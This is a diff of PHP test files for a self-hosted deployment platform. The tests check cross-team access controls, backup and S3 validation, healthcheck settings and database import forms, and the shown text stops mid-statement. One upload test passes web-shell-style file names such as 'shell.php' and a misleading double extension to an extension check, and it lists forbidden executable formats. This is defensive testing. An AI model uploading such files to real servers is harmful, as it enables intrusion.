test('boarding mount cannot load project from another team via selectedProject', function () {
|
||||
$component = Livewire::test(BoardingIndex::class, [
|
||||
'selectedProject' => $this->projectB->id,
|
||||
]);
|
||||
|
||||
// The project from Team B should NOT be loaded
|
||||
expect($component->get('createdProject'))->toBeNull();
|
||||
});
|
||||
|
||||
test('boarding selectExistingProject cannot load project from another team', function () {
|
||||
$component = Livewire::test(BoardingIndex::class)
|
||||
->set('selectedProject', $this->projectB->id)
|
||||
->call('selectExistingProject');
|
||||
|
||||
expect($component->get('createdProject'))->toBeNull();
|
||||
$component->assertDispatched('error');
|
||||
});
|
||||
|
||||
test('boarding selectExistingProject can load own team project', function () {
|
||||
$component = Livewire::test(BoardingIndex::class)
|
||||
->set('selectedProject', $this->projectA->id)
|
||||
->call('selectExistingProject');
|
||||
|
||||
expect($component->get('createdProject'))->not->toBeNull();
|
||||
expect($component->get('createdProject')->id)->toBe($this->projectA->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('GlobalSearch Server IDOR', function () {
|
||||
test('loadDestinations cannot access server from another team', function () {
|
||||
$component = Livewire::test(GlobalSearch::class)
|
||||
->set('selectedServerId', $this->serverB->id)
|
||||
->call('loadDestinations');
|
||||
|
||||
// Should dispatch error because server is not found (team-scoped)
|
||||
$component->assertDispatched('error');
|
||||
});
|
||||
});
|
||||
|
||||
describe('GlobalSearch Project IDOR', function () {
|
||||
test('loadEnvironments cannot access project from another team', function () {
|
||||
$component = Livewire::test(GlobalSearch::class)
|
||||
->set('selectedProjectUuid', $this->projectB->uuid)
|
||||
->call('loadEnvironments');
|
||||
|
||||
// Should not load environments from another team's project
|
||||
expect($component->get('availableEnvironments'))->toBeEmpty();
|
||||
});
|
||||
});
|
||||
|
||||
describe('DeleteProject IDOR', function () {
|
||||
test('cannot mount DeleteProject with project from another team', function () {
|
||||
// Should throw ModelNotFoundException (404) because team-scoped query won't find it
|
||||
Livewire::test(DeleteProject::class, ['project_id' => $this->projectB->id]);
|
||||
})->throws(ModelNotFoundException::class);
|
||||
|
||||
test('can mount DeleteProject with own team project', function () {
|
||||
$component = Livewire::test(DeleteProject::class, ['project_id' => $this->projectA->id]);
|
||||
|
||||
expect($component->get('projectName'))->toBe($this->projectA->name);
|
||||
});
|
||||
});
|
||||
|
||||
describe('CloneMe Project IDOR', function () {
|
||||
test('cannot mount CloneMe with project UUID from another team', function () {
|
||||
// Should throw ModelNotFoundException because team-scoped query won't find it
|
||||
Livewire::test(CloneMe::class, [
|
||||
'project_uuid' => $this->projectB->uuid,
|
||||
'environment_uuid' => $this->environmentB->uuid,
|
||||
]);
|
||||
})->throws(ModelNotFoundException::class);
|
||||
|
||||
test('can mount CloneMe with own team project UUID', function () {
|
||||
$component = Livewire::test(CloneMe::class, [
|
||||
'project_uuid' => $this->projectA->uuid,
|
||||
'environment_uuid' => $this->environmentA->uuid,
|
||||
]);
|
||||
|
||||
expect($component->get('project_id'))->toBe($this->projectA->id);
|
||||
});
|
||||
});
|
||||
|
||||
describe('DeployController API Server IDOR', function () {
|
||||
test('deploy cancel API cannot access build server from another team', function () {
|
||||
// Create a deployment queue entry that references Team B's server as build_server
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environmentA->id,
|
||||
'destination_id' => StandaloneDocker::factory()->create(['server_id' => $this->serverA->id])->id,
|
||||
'destination_type' => StandaloneDocker::class,
|
||||
]);
|
||||
|
||||
$deployment = ApplicationDeploymentQueue::create([
|
||||
'application_id' => $application->id,
|
||||
'deployment_uuid' => 'test-deploy-'.fake()->uuid(),
|
||||
'server_id' => $this->serverA->id,
|
||||
'build_server_id' => $this->serverB->id, // Cross-team build server
|
||||
'status' => ApplicationDeploymentStatus::IN_PROGRESS->value,
|
||||
]);
|
||||
|
||||
$token = $this->userA->createToken('test-token', ['*']);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
])->deleteJson("/api/v1/deployments/{$deployment->deployment_uuid}");
|
||||
|
||||
// The cancellation should proceed but the build_server should NOT be found
|
||||
// (team-scoped query returns null for Team B's server)
|
||||
// The deployment gets cancelled but no remote process runs on the wrong server
|
||||
$response->assertOk();
|
||||
|
||||
// Verify the deployment was cancelled
|
||||
$deployment->refresh();
|
||||
expect($deployment->status)->toBe(
|
||||
ApplicationDeploymentStatus::CANCELLED_BY_USER->value
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -1,5 +1,12 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\S3Storage;
|
||||
use App\Models\ScheduledDatabaseBackup;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
@@ -8,50 +15,110 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
// Create a team with owner
|
||||
InstanceSettings::updateOrCreate(['id' => 0]);
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
// Create an API token for the user
|
||||
$this->token = $this->user->createToken('test-token', ['*'], $this->team->id);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->token = $this->user->createToken('test-token', ['*']);
|
||||
$this->bearerToken = $this->token->plainTextToken;
|
||||
|
||||
// Mock a database - we'll use Mockery to avoid needing actual database setup
|
||||
$this->database = \Mockery::mock(StandalonePostgresql::class);
|
||||
$this->database->shouldReceive('getAttribute')->with('id')->andReturn(1);
|
||||
$this->database->shouldReceive('getAttribute')->with('uuid')->andReturn('test-db-uuid');
|
||||
$this->database->shouldReceive('getAttribute')->with('postgres_db')->andReturn('testdb');
|
||||
$this->database->shouldReceive('type')->andReturn('standalone-postgresql');
|
||||
$this->database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
});
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
|
||||
afterEach(function () {
|
||||
\Mockery::close();
|
||||
$this->database = StandalonePostgresql::create([
|
||||
'name' => 'test-postgres',
|
||||
'image' => 'postgres:15-alpine',
|
||||
'postgres_user' => 'postgres',
|
||||
'postgres_password' => 'password',
|
||||
'postgres_db' => 'testdb',
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
]);
|
||||
|
||||
$this->s3Storage = S3Storage::create([
|
||||
'name' => 'test-s3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'test-key',
|
||||
'secret' => 'test-secret',
|
||||
'bucket' => 'test-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'team_id' => $this->team->id,
|
||||
'is_usable' => true,
|
||||
]);
|
||||
});
|
||||
|
||||
describe('POST /api/v1/databases/{uuid}/backups', function () {
|
||||
test('creates backup configuration with minimal required fields', function () {
|
||||
// This is a unit-style test using mocks to avoid database dependency
|
||||
// For full integration testing, this should be run inside Docker
|
||||
test('creates backup with s3 storage via API token', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
|
||||
'frequency' => '0 2 * * 0',
|
||||
'save_s3' => true,
|
||||
's3_storage_uuid' => $this->s3Storage->uuid,
|
||||
'enabled' => true,
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonStructure(['uuid', 'message']);
|
||||
|
||||
$backup = ScheduledDatabaseBackup::where('uuid', $response->json('uuid'))->first();
|
||||
expect($backup)->not->toBeNull();
|
||||
expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
|
||||
expect($backup->save_s3)->toBeTrue();
|
||||
expect($backup->team_id)->toBe($this->team->id);
|
||||
});
|
||||
|
||||
test('creates backup without s3 storage', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
|
||||
'frequency' => 'daily',
|
||||
]);
|
||||
|
||||
$response->assertStatus(201);
|
||||
$response->assertJsonStructure(['uuid', 'message']);
|
||||
});
|
||||
|
||||
test('rejects s3_storage_uuid from another team', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherS3 = S3Storage::create([
|
||||
'name' => 'other-s3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'other-key',
|
||||
'secret' => 'other-secret',
|
||||
'bucket' => 'other-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'team_id' => $otherTeam->id,
|
||||
'is_usable' => true,
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/test-db-uuid/backups', [
|
||||
'frequency' => 'daily',
|
||||
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
|
||||
'frequency' => '0 2 * * 0',
|
||||
'save_s3' => true,
|
||||
's3_storage_uuid' => $otherS3->uuid,
|
||||
]);
|
||||
|
||||
// Since we're mocking, this test verifies the endpoint exists and basic validation
|
||||
// Full integration tests should be run in Docker environment
|
||||
expect($response->status())->toBeIn([201, 404, 422]);
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonValidationErrors(['s3_storage_uuid']);
|
||||
});
|
||||
|
||||
test('validates frequency is required', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/test-db-uuid/backups', [
|
||||
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
|
||||
'enabled' => true,
|
||||
]);
|
||||
|
||||
@@ -63,83 +130,78 @@ describe('POST /api/v1/databases/{uuid}/backups', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/test-db-uuid/backups', [
|
||||
])->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
|
||||
'frequency' => 'daily',
|
||||
'save_s3' => true,
|
||||
]);
|
||||
|
||||
// Should fail validation because s3_storage_uuid is missing
|
||||
expect($response->status())->toBeIn([404, 422]);
|
||||
});
|
||||
|
||||
test('rejects invalid frequency format', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/test-db-uuid/backups', [
|
||||
'frequency' => 'invalid-frequency',
|
||||
]);
|
||||
|
||||
expect($response->status())->toBeIn([404, 422]);
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonValidationErrors(['s3_storage_uuid']);
|
||||
});
|
||||
|
||||
test('rejects request without authentication', function () {
|
||||
$response = $this->postJson('/api/v1/databases/test-db-uuid/backups', [
|
||||
$response = $this->postJson("/api/v1/databases/{$this->database->uuid}/backups", [
|
||||
'frequency' => 'daily',
|
||||
]);
|
||||
|
||||
$response->assertStatus(401);
|
||||
});
|
||||
});
|
||||
|
||||
test('validates retention fields are integers with minimum 0', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/test-db-uuid/backups', [
|
||||
describe('PATCH /api/v1/databases/{uuid}/backups/{scheduled_backup_uuid}', function () {
|
||||
test('updates backup to use s3 storage via API token', function () {
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => 'daily',
|
||||
'database_backup_retention_amount_locally' => -1,
|
||||
'enabled' => true,
|
||||
'database_id' => $this->database->id,
|
||||
'database_type' => $this->database->getMorphClass(),
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
expect($response->status())->toBeIn([404, 422]);
|
||||
});
|
||||
|
||||
test('accepts valid cron expressions', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/test-db-uuid/backups', [
|
||||
'frequency' => '0 2 * * *', // Daily at 2 AM
|
||||
])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
|
||||
'save_s3' => true,
|
||||
's3_storage_uuid' => $this->s3Storage->uuid,
|
||||
]);
|
||||
|
||||
// Will fail with 404 because database doesn't exist, but validates the request format
|
||||
expect($response->status())->toBeIn([201, 404, 422]);
|
||||
$response->assertStatus(200);
|
||||
$backup->refresh();
|
||||
expect($backup->s3_storage_id)->toBe($this->s3Storage->id);
|
||||
expect($backup->save_s3)->toBeTrue();
|
||||
});
|
||||
|
||||
test('accepts predefined frequency values', function () {
|
||||
$frequencies = ['every_minute', 'hourly', 'daily', 'weekly', 'monthly', 'yearly'];
|
||||
test('rejects s3_storage_uuid from another team on update', function () {
|
||||
$otherTeam = Team::factory()->create();
|
||||
$otherS3 = S3Storage::create([
|
||||
'name' => 'other-s3',
|
||||
'region' => 'us-east-1',
|
||||
'key' => 'other-key',
|
||||
'secret' => 'other-secret',
|
||||
'bucket' => 'other-bucket',
|
||||
'endpoint' => 'https://s3.example.com',
|
||||
'team_id' => $otherTeam->id,
|
||||
'is_usable' => true,
|
||||
]);
|
||||
|
||||
foreach ($frequencies as $frequency) {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/test-db-uuid/backups', [
|
||||
'frequency' => $frequency,
|
||||
]);
|
||||
|
||||
// Will fail with 404 because database doesn't exist, but validates the request format
|
||||
expect($response->status())->toBeIn([201, 404, 422]);
|
||||
}
|
||||
});
|
||||
|
||||
test('rejects extra fields not in allowed list', function () {
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->postJson('/api/v1/databases/test-db-uuid/backups', [
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => 'daily',
|
||||
'invalid_field' => 'invalid_value',
|
||||
'enabled' => true,
|
||||
'database_id' => $this->database->id,
|
||||
'database_type' => $this->database->getMorphClass(),
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
expect($response->status())->toBeIn([404, 422]);
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$this->bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
])->patchJson("/api/v1/databases/{$this->database->uuid}/backups/{$backup->uuid}", [
|
||||
'save_s3' => true,
|
||||
's3_storage_uuid' => $otherS3->uuid,
|
||||
]);
|
||||
|
||||
$response->assertStatus(422);
|
||||
$response->assertJsonValidationErrors(['s3_storage_uuid']);
|
||||
});
|
||||
});
|
||||
@@ -66,6 +66,48 @@ test('upload_to_s3 throws exception and disables s3 when storage is null', funct
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('upload_to_s3 exception message reports the previous s3 storage id', function () {
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => 12345,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => Team::factory()->create()->id,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
$reflection->getProperty('s3')->setValue($job, null);
|
||||
|
||||
expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job))
|
||||
->toThrow(Exception::class, 'S3 storage ID: 12345');
|
||||
|
||||
$backup->refresh();
|
||||
expect($backup->save_s3)->toBeFalsy();
|
||||
expect($backup->s3_storage_id)->toBeNull();
|
||||
});
|
||||
|
||||
test('upload_to_s3 exception message reports null when no previous s3 storage id exists', function () {
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => true,
|
||||
's3_storage_id' => null,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => Team::factory()->create()->id,
|
||||
]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
$reflection->getProperty('s3')->setValue($job, null);
|
||||
|
||||
expect(fn () => $reflection->getMethod('upload_to_s3')->invoke($job))
|
||||
->toThrow(Exception::class, 'S3 storage ID: null');
|
||||
});
|
||||
|
||||
test('deleting s3 storage disables s3 on linked backups', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
|
||||
@@ -0,0 +1,62 @@
|
||||
<?php
|
||||
|
||||
use App\Http\Controllers\UploadController;
|
||||
|
||||
function invokeHasAllowedExtension(string $name): bool
|
||||
{
|
||||
$method = new ReflectionMethod(UploadController::class, 'hasAllowedExtension');
|
||||
$method->setAccessible(true);
|
||||
|
||||
return $method->invoke(null, $name);
|
||||
}
|
||||
|
||||
test('hasAllowedExtension accepts supported extensions', function (string $name) {
|
||||
expect(invokeHasAllowedExtension($name))->toBeTrue();
|
||||
})->with([
|
||||
'plain sql' => ['backup.sql'],
|
||||
'uppercase sql' => ['BACKUP.SQL'],
|
||||
'compound sql.gz' => ['backup.sql.gz'],
|
||||
'compound tar.gz' => ['backup.tar.gz'],
|
||||
'tgz' => ['archive.tgz'],
|
||||
'zip' => ['dump.zip'],
|
||||
'tar' => ['dump.tar'],
|
||||
'gz' => ['data.gz'],
|
||||
'dump' => ['data.dump'],
|
||||
'bak' => ['data.bak'],
|
||||
'bson' => ['data.bson'],
|
||||
'bson.gz' => ['data.bson.gz'],
|
||||
'archive' => ['data.archive'],
|
||||
'archive.gz' => ['data.archive.gz'],
|
||||
'bz2' => ['data.bz2'],
|
||||
'xz' => ['data.xz'],
|
||||
]);
|
||||
|
||||
test('hasAllowedExtension rejects unsupported or empty stems', function (string $name) {
|
||||
expect(invokeHasAllowedExtension($name))->toBeFalse();
|
||||
})->with([
|
||||
'php' => ['shell.php'],
|
||||
'phtml' => ['shell.phtml'],
|
||||
'sh' => ['run.sh'],
|
||||
'exe' => ['malware.exe'],
|
||||
'elf binary no ext' => ['payload'],
|
||||
'html' => ['index.html'],
|
||||
'bare compound without stem' => ['.sql.gz'],
|
||||
'bare extension' => ['.sql'],
|
||||
'empty string' => [''],
|
||||
'misleading double ext' => ['shell.php.sql-evil'],
|
||||
]);
|
||||
|
||||
test('MAX_BYTES constant is 10 GiB', function () {
|
||||
$constant = (new ReflectionClass(UploadController::class))->getConstant('MAX_BYTES');
|
||||
expect($constant)->toBe(10 * 1024 * 1024 * 1024);
|
||||
});
|
||||
|
||||
test('ALLOWED_EXTENSIONS does not include executable formats', function () {
|
||||
$constant = (new ReflectionClass(UploadController::class))->getConstant('ALLOWED_EXTENSIONS');
|
||||
expect($constant)->toBeArray();
|
||||
|
||||
$forbidden = ['php', 'phtml', 'php5', 'sh', 'bash', 'exe', 'js', 'html', 'htm', 'pl', 'py'];
|
||||
foreach ($forbidden as $bad) {
|
||||
expect($constant)->not->toContain($bad);
|
||||
}
|
||||
});
|
||||
@@ -0,0 +1,175 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Health;
|
||||
use App\Models\StandalonePostgresql;
|
||||
use Illuminate\Auth\Access\AuthorizationException;
|
||||
|
||||
it('defaults to an enabled healthcheck when nothing is configured', function () {
|
||||
$database = new StandalonePostgresql;
|
||||
|
||||
expect($database->isHealthcheckEnabled())->toBeTrue();
|
||||
});
|
||||
|
||||
it('builds the compose healthcheck block from the model timing fields', function () {
|
||||
$database = new StandalonePostgresql([
|
||||
'health_check_interval' => 30,
|
||||
'health_check_timeout' => 7,
|
||||
'health_check_retries' => 4,
|
||||
'health_check_start_period' => 12,
|
||||
]);
|
||||
|
||||
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
|
||||
|
||||
expect($config)->toBe([
|
||||
'test' => ['CMD', 'pg_isready'],
|
||||
'interval' => '30s',
|
||||
'timeout' => '7s',
|
||||
'retries' => 4,
|
||||
'start_period' => '12s',
|
||||
]);
|
||||
});
|
||||
|
||||
it('falls back to safe defaults when timing fields are missing', function () {
|
||||
$database = new StandalonePostgresql;
|
||||
|
||||
$config = $database->healthCheckConfiguration(['CMD', 'pg_isready']);
|
||||
|
||||
expect($config['interval'])->toBe('15s')
|
||||
->and($config['timeout'])->toBe('5s')
|
||||
->and($config['retries'])->toBe(5)
|
||||
->and($config['start_period'])->toBe('5s');
|
||||
});
|
||||
|
||||
it('reports the healthcheck as disabled when the flag is false', function () {
|
||||
$database = new StandalonePostgresql(['health_check_enabled' => false]);
|
||||
|
||||
expect($database->isHealthcheckEnabled())->toBeFalse();
|
||||
});
|
||||
|
||||
it('uses distinct hash fragments for ambiguous healthcheck values', function () {
|
||||
$enabledDatabase = new StandalonePostgresql([
|
||||
'health_check_enabled' => true,
|
||||
'health_check_interval' => 5,
|
||||
'health_check_timeout' => 5,
|
||||
'health_check_retries' => 5,
|
||||
'health_check_start_period' => 5,
|
||||
]);
|
||||
|
||||
$disabledDatabase = new StandalonePostgresql([
|
||||
'health_check_enabled' => false,
|
||||
'health_check_interval' => 15,
|
||||
'health_check_timeout' => 5,
|
||||
'health_check_retries' => 5,
|
||||
'health_check_start_period' => 5,
|
||||
]);
|
||||
|
||||
$getHashFragment = function () {
|
||||
return $this->healthCheckConfigurationHash();
|
||||
};
|
||||
|
||||
expect($getHashFragment->call($enabledDatabase))
|
||||
->toBe('1|5|5|5|5')
|
||||
->not->toBe($getHashFragment->call($disabledDatabase))
|
||||
->and($getHashFragment->call($disabledDatabase))->toBe('0|15|5|5|5');
|
||||
});
|
||||
|
||||
it('does not mark configuration changed when health update authorization fails', function () {
|
||||
$database = new class
|
||||
{
|
||||
public ?string $config_hash = null;
|
||||
|
||||
public int $configurationChangedChecks = 0;
|
||||
|
||||
public function isConfigurationChanged(bool $save = false): bool
|
||||
{
|
||||
$this->configurationChangedChecks++;
|
||||
|
||||
return true;
|
||||
}
|
||||
};
|
||||
|
||||
$component = new class extends Health
|
||||
{
|
||||
public array $dispatchedEvents = [];
|
||||
|
||||
public function authorize($ability, $arguments = [])
|
||||
{
|
||||
throw new AuthorizationException('This action is unauthorized.');
|
||||
}
|
||||
|
||||
public function dispatch($event, ...$params)
|
||||
{
|
||||
$this->dispatchedEvents[] = $event;
|
||||
|
||||
return null;
|
||||
}
|
||||
};
|
||||
|
||||
$component->database = $database;
|
||||
$component->submit();
|
||||
|
||||
expect($database->configurationChangedChecks)->toBe(0)
|
||||
->and($component->dispatchedEvents)->toBe(['error']);
|
||||
});
|
||||
|
||||
it('toggles database healthcheck and marks configuration changed', function () {
|
||||
$database = new class
|
||||
{
|
||||
public ?string $config_hash = 'existing';
|
||||
|
||||
public bool $health_check_enabled = false;
|
||||
|
||||
public int $health_check_interval = 15;
|
||||
|
||||
public int $health_check_timeout = 5;
|
||||
|
||||
public int $health_check_retries = 5;
|
||||
|
||||
public int $health_check_start_period = 5;
|
||||
|
||||
public int $saveCalls = 0;
|
||||
|
||||
public function save(): void
|
||||
{
|
||||
$this->saveCalls++;
|
||||
}
|
||||
};
|
||||
|
||||
$component = new class extends Health
|
||||
{
|
||||
public array $dispatchedEvents = [];
|
||||
|
||||
public function authorize($ability, $arguments = [])
|
||||
{
|
||||
return true;
|
||||
}
|
||||
|
||||
public function dispatch($event, ...$params)
|
||||
{
|
||||
$this->dispatchedEvents[] = $event;
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
public function syncData(bool $toModel = false): void
|
||||
{
|
||||
if ($toModel) {
|
||||
$this->database->health_check_enabled = $this->healthCheckEnabled;
|
||||
$this->database->save();
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
$component->database = $database;
|
||||
$component->healthCheckEnabled = false;
|
||||
$component->healthCheckInterval = 15;
|
||||
$component->healthCheckTimeout = 5;
|
||||
$component->healthCheckRetries = 5;
|
||||
$component->healthCheckStartPeriod = 5;
|
||||
|
||||
$component->toggleHealthcheck();
|
||||
|
||||
expect($database->health_check_enabled)->toBeTrue()
|
||||
->and($database->saveCalls)->toBe(1)
|
||||
->and($component->dispatchedEvents)->toBe(['success', 'configurationChanged']);
|
||||
});
|
||||
@@ -1,7 +1,8 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
use App\Support\ValidationPatterns;
|
||||
use Livewire\Attributes\Locked;
|
||||
|
||||
describe('container name validation', function () {
|
||||
test('isValidContainerName accepts valid container names', function () {
|
||||
@@ -45,43 +46,43 @@ describe('container name validation', function () {
|
||||
|
||||
describe('locked properties', function () {
|
||||
test('container property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'container');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'container');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('serverId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'serverId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'serverId');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceId property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceId');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceType');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceUuid property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceUuid');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
|
||||
test('resourceDbType property has Locked attribute', function () {
|
||||
$property = new ReflectionProperty(Import::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(\Livewire\Attributes\Locked::class);
|
||||
$property = new ReflectionProperty(ImportForm::class, 'resourceDbType');
|
||||
$attributes = $property->getAttributes(Locked::class);
|
||||
|
||||
expect($attributes)->not->toBeEmpty();
|
||||
});
|
||||
@@ -89,7 +90,7 @@ describe('locked properties', function () {
|
||||
|
||||
describe('server method uses team scoping', function () {
|
||||
test('server computed property calls ownedByCurrentTeam', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'server');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'server');
|
||||
|
||||
// Extract the server method body
|
||||
$startLine = $method->getStartLine();
|
||||
@@ -102,9 +103,9 @@ describe('server method uses team scoping', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('Import component uses shared ValidationPatterns', function () {
|
||||
describe('ImportForm component uses shared ValidationPatterns', function () {
|
||||
test('runImport references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'runImport');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'runImport');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
@@ -114,7 +115,7 @@ describe('Import component uses shared ValidationPatterns', function () {
|
||||
});
|
||||
|
||||
test('restoreFromS3 references ValidationPatterns for container validation', function () {
|
||||
$method = new ReflectionMethod(Import::class, 'restoreFromS3');
|
||||
$method = new ReflectionMethod(ImportForm::class, 'restoreFromS3');
|
||||
$startLine = $method->getStartLine();
|
||||
$endLine = $method->getEndLine();
|
||||
$lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1);
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
<?php
|
||||
|
||||
it('declares explicit authorization on database import form controls', function () {
|
||||
$view = file_get_contents(resource_path('views/livewire/project/database/import-form.blade.php'));
|
||||
|
||||
preg_match_all(
|
||||
'/<x-forms\.(button|input|select|checkbox|textarea)\b[^>]*>/s',
|
||||
$view,
|
||||
$matches,
|
||||
PREG_OFFSET_CAPTURE
|
||||
);
|
||||
|
||||
$missingAuthorization = collect($matches[0])
|
||||
